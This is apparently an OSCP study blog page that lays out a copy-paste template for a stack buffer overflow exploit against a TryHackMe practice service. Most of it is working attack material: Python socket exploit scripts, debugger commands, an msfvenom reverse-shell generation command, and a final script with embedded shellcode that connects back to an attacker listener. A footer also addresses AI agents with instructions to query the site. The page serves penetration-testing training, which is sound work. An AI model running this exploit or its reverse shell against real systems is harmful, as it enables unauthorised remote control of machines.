# Buffer Overflow Framework

*The below steps condensed into a table in a word document:*

{% file src="/files/-MXlKsDUUhv639xCQIlA" %}

## Overview

Once an initial understanding of of how to perform stack-based buffer overflows is obtained, use this template to ensure no steps are missed and commands can easily be copy/pasted.

Refer to buffer [overflow external resources](https://blog.blakejarvis.com/oscp/external-resources#buffer-overflow) for more cheat sheets and the buffer overflow TryHackMe room.

TryHackMe room [bufferoverflowprep](https://tryhackme.com/room/bufferoverflowprep) Task 1 is used as an example in the below steps.

{% hint style="success" %}
Identifying bad chars with Immunity's Mona (step 5) is the most significant tool I learned that was not covered in the OSCP labs or other common resources.
{% endhint %}

### 1. Identify Buffer Size

{% hint style="info" %}
In the OSCP exam, fuzzing is not required and this step can be skipped since it is assumed a buffer of 2000 characters (example used below) overflows the application.
{% endhint %}

An example/test script that overflows the application buffer is provided similar to the following:

{% code title="overflow1.py" %}

```python
import socket, time, sys

ip = sys.argv[1]
port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 2000

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    connect = s.connect((ip, port))
    s.recv(1024)
    print("Fuzzing with %s bytes" % len(string))
    s.send("OVERFLOW1 " + string + "\r\n")
    s.recv(1024)
    s.close()
except:
    print("Could not connect to " + ip + ":" + str(port))
    sys.exit(0)
    time.sleep(1)
```

{% endcode %}

The application overflows at 2000 characters with the EIP overwritten by `\x41\x41\x41\x41` (i.e. AAAA).

![](/files/-MXt570ZRvWFb3iAPi1S)

### 2. Find EIP Point

Replace the `buffer` variable above with the output of the following:

{% code title="kali\@kali" %}

```bash
msf-pattern_create -l 2000
```

{% endcode %}

{% code title="overflow2.py" %}

```python
import socket, time, sys

ip = "10.10.53.251"
port = 1337
timeout = 5

pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"

string = pattern

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    connect = s.connect((ip, port))
    s.recv(1024)
    print("Fuzzing with %s bytes" % len(string))
    s.send("OVERFLOW1 " + string + "\r\n")
    s.recv(1024)
    s.close()
except:
    print("Could not connect to " + ip + ":" + str(port))
    sys.exit(0)
    time.sleep(1)
```

{% endcode %}

When ran, the application crashes. Capture the value of EIP as `6F43396E`.

![](/files/-MXt5lmcawyiKvPvzOd0)

### 3. Get Offset

Use the EIP value and find the offset:

{% code title="kali\@kali" %}

```python
msf-pattern_offset -l 1500 -q 6F43396E
```

{% endcode %}

### 4. Get Controllable Char Length

Add `"post" = "D" * 500` to the payload to ensure there is enough space for shellcode after the application is overflowed.

{% code title="overflow4.py" %}

```python
import socket, time, sys

ip = "10.10.53.251"
port = 1337
timeout = 5

pre = "A" * 1978
eip = "B" * 4
offset = "C" * 0
post = "D" * 500

string = pre + eip + offset + post

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    connect = s.connect((ip, port))
    s.recv(1024)
    print("Fuzzing with %s bytes" % len(string))
    s.send("OVERFLOW1 " + string + "\r\n")
    s.recv(1024)
    s.close()
except:
    print("Could not connect to " + ip + ":" + str(port))
    sys.exit(0)
    time.sleep(1)
```

{% endcode %}

As displayed in the stack view, there is more than enough room for shellcode to be placed after the EIP value.

![](/files/-MXt7SC0DUruqF5zuW5r)

### 5. Identify Bad Chars

Replace the "post" parameter with a badchar array and run the application.

{% hint style="danger" %}
Remove \x00 from the starting badchars array before testing, as this will always be a bad character.
{% endhint %}

{% code title="overflow5.py" %}

```python
 import socket, time, sys

ip = "10.10.53.251"
port = 1337
timeout = 5

#chars removed: \x00
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

pre = "A" * 1978
eip = "B" * 4
offset = "C" * 0
post = badchars

string = pre + eip + offset + post

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    connect = s.connect((ip, port))
    s.recv(1024)
    print("Fuzzing with %s bytes" % len(string))
    s.send("OVERFLOW1 " + string + "\r\n")
    s.recv(1024)
    s.close()
except:
    print("Could not connect to " + ip + ":" + str(port))
    sys.exit(0)
    time.sleep(1)
```

{% endcode %}

Use the mona debugger within Immunity to identify badchars by setting the mona working directory, creating a bytearray matching the bytearray used in the above python script, and using the ESP value to compare the two and find discrepancies (i.e. badchars).

{% code title="Immunity Debugger" %}

```python
!mona config -set workingfolder c:\windows\temp\
!mona bytearray -b "\x00" 
!mona compare -f C:\windows\temp\bytearray.bin -a [esp value]
```

{% endcode %}

Badchars will be boxed in the mona display. Note the subsequent character is always affected and is usually not a badchar. Remove the badchars from the array and retest.

![](/files/-MXt8NpNSoR6g5od8A23)

{% hint style="warning" %}
Once badchars are identified and removed from the badchar array, complete this step again to ensure all badchars are removed.
{% endhint %}

### 6. Find JMP ESP

Identify shellcode for a JMP ESP instruction as `\xff\xe4`:

{% code title="kali\@kali" %}

```python
msf-nasm_shell
nasm > JMP ESP
00000000  FFE4              jmp esp
```

{% endcode %}

Find safe DLLs without ASLR and other stack overflow mitigations. Run the below command after Immunity is attached to the application but before the application is unpaused.

{% code title="Immunity Debugger" %}

```python
!mona modules
```

{% endcode %}

![](/files/-MXt9Q_CVOdYWEJmzlzE)

{% code title="Immunity Debugger" %}

```python
!mona find -s "\xff\xe4" -m "oscp.exe"
!mona find -s "\xff\xe4" -m "essfunc.dll"
```

{% endcode %}

Multiple suitable addresses are identified in `essfunc.dll`that do not contain badchars.

![](/files/-MXt9s8DHkQPY-P7937n)

The identified address `0x625011af` is used. Place in the python script in reverse as: `"\xaf\x11\x50\x62`.&#x20;

### 7. Generate Shellcode

{% code title="kali\@kali" %}

```bash
msfvenom -p windows/shell_reverse_tcp lport=53 lhost=10.6.51.138 -f c -b "\x00\x07\2e\xa0" EXITFUNC=thread
```

{% endcode %}

{% hint style="warning" %}
Don't specify an encoder (e.g. x86/shikata\_ga\_nai). msfvenom will pick one for you.
{% endhint %}

### 8. Add NOPs

Add 10 `\x90` nops (line 38, 40) to the payload after the EIP to ESP offset and before the shellcode payload.

{% code title="overflow8.py" %}

```python
import socket, time, sys

ip = "10.10.53.251"
port = 1337
timeout = 5

#chars removed \x00\x07\x2e\xa0
#msfvenom -p windows/shell_reverse_tcp lhost=10.6.51.138 lport=53 -f c -b "\x00\x07\x2e\xa0" EXITFUNC=thread
payload = ("\xdb\xc4\xbb\x43\xbc\x49\x27\xd9\x74\x24\xf4\x5f\x29\xc9\xb1"
           "\x52\x31\x5f\x17\x03\x5f\x17\x83\x84\xb8\xab\xd2\xf6\x29\xa9"
           "\x1d\x06\xaa\xce\x94\xe3\x9b\xce\xc3\x60\x8b\xfe\x80\x24\x20"
           "\x74\xc4\xdc\xb3\xf8\xc1\xd3\x74\xb6\x37\xda\x85\xeb\x04\x7d"
           "\x06\xf6\x58\x5d\x37\x39\xad\x9c\x70\x24\x5c\xcc\x29\x22\xf3"
           "\xe0\x5e\x7e\xc8\x8b\x2d\x6e\x48\x68\xe5\x91\x79\x3f\x7d\xc8"
           "\x59\xbe\x52\x60\xd0\xd8\xb7\x4d\xaa\x53\x03\x39\x2d\xb5\x5d"
           "\xc2\x82\xf8\x51\x31\xda\x3d\x55\xaa\xa9\x37\xa5\x57\xaa\x8c"
           "\xd7\x83\x3f\x16\x7f\x47\xe7\xf2\x81\x84\x7e\x71\x8d\x61\xf4"
           "\xdd\x92\x74\xd9\x56\xae\xfd\xdc\xb8\x26\x45\xfb\x1c\x62\x1d"
           "\x62\x05\xce\xf0\x9b\x55\xb1\xad\x39\x1e\x5c\xb9\x33\x7d\x09"
           "\x0e\x7e\x7d\xc9\x18\x09\x0e\xfb\x87\xa1\x98\xb7\x40\x6c\x5f"
           "\xb7\x7a\xc8\xcf\x46\x85\x29\xc6\x8c\xd1\x79\x70\x24\x5a\x12"
           "\x80\xc9\x8f\xb5\xd0\x65\x60\x76\x80\xc5\xd0\x1e\xca\xc9\x0f"
           "\x3e\xf5\x03\x38\xd5\x0c\xc4\x4d\x2c\x3d\x9e\x3a\x32\x41\x9e"
           "\x8f\xbb\xa7\xf4\xff\xed\x70\x61\x99\xb7\x0a\x10\x66\x62\x77"
           "\x12\xec\x81\x88\xdd\x05\xef\x9a\x8a\xe5\xba\xc0\x1d\xf9\x10"
           "\x6c\xc1\x68\xff\x6c\x8c\x90\xa8\x3b\xd9\x67\xa1\xa9\xf7\xde"
           "\x1b\xcf\x05\x86\x64\x4b\xd2\x7b\x6a\x52\x97\xc0\x48\x44\x61"
           "\xc8\xd4\x30\x3d\x9f\x82\xee\xfb\x49\x65\x58\x52\x25\x2f\x0c"
           "\x23\x05\xf0\x4a\x2c\x40\x86\xb2\x9d\x3d\xdf\xcd\x12\xaa\xd7"
           "\xb6\x4e\x4a\x17\x6d\xcb\x6a\xfa\xa7\x26\x03\xa3\x22\x8b\x4e"
           "\x54\x99\xc8\x76\xd7\x2b\xb1\x8c\xc7\x5e\xb4\xc9\x4f\xb3\xc4"
           "\x42\x3a\xb3\x7b\x62\x6f")

pre = "A" * 1978
eip = "\xaf\x11\x50\x62" #0x625011af
offset = "C" * 0
nops = "\x90" * 10
post = payload
string = pre + eip + offset + nops + post

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    connect = s.connect((ip, port))
    s.recv(1024)
    print("Fuzzing with %s bytes" % len(string))
    s.send("OVERFLOW1 " + string + "\r\n")
    s.recv(1024)
    s.close()
except:
    print("Could not connect to " + ip + ":" + str(port))
    sys.exit(0)
    time.sleep(1)
```

{% endcode %}

### 9. Listen for Shell

Set up a kali listener:

{% code title="kali\@kali" %}

```bash
sudo nc -nvlp 53
```

{% endcode %}

### 10. Run the Exploit

{% hint style="info" %}
Set an Immunity breakpoint at the JMP ESP value and ensure execution flow is halted and the breakpoint is hit when the exploit is ran.
{% endhint %}

{% code title="kali\@kali" %}

```bash
python overflow8.py
```

{% endcode %}

![](/files/-MXtEHtJNgDWlTjwu7Dc)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.blakejarvis.com/oscp/oscp-buffer-overflow-framework.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
